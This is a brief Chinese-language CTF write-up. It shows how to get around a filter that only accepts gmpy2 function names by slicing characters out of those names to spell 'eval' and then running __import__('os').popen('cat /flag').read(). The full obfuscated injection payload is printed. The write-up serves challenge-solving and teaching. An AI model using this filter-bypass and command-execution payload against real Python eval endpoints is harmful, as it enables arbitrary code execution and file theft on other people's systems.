算力升级

这题有些过滤了

源码:他会去检查单词是不是gmpy2库里面的,如果不是就gg

我们可以本地跑一下这个gmpy2库看看有什么可以利用的函数

这里面都是可以用的,这样一来的话基本就可以通过拼接构造出任意的字符了。

比如我们想执行eval可以这样来
gmpy2.__builtins__['eval']('xxx')
而其中的eval可以通过'invert'[3]+'invert'[2]+'ai'[0]+'lcm'[0]得到,其他的类似。
最终的payload

 code=gmpy2.__builtins__['ieee'[1]+'c_div'[4]+'atanh'[0]+'ceil'[3]]('__builtins__'[0:2]+'is_prime'[5:7]+'polar'[0:2]+'cbrt'[2:4]+'__builtins__'[0:2]+'("'+'acos'[2:4]+'").'+'popcount'[0:3]+'denom'[1:3]+'("'+'const_catalan'[6:9]+' '+'/'+'OverflowResultError'[4:6]+'__package__'[6:8]+'").'+'degrees'[3:5]+'radians'[1:3]+'()')

反正构造起来贼麻烦,前半部分试构造eval这个函数,后半部分是构造一个字符串__import__("os").popen("cat /flag").read()

然后post传参传进去就有flag了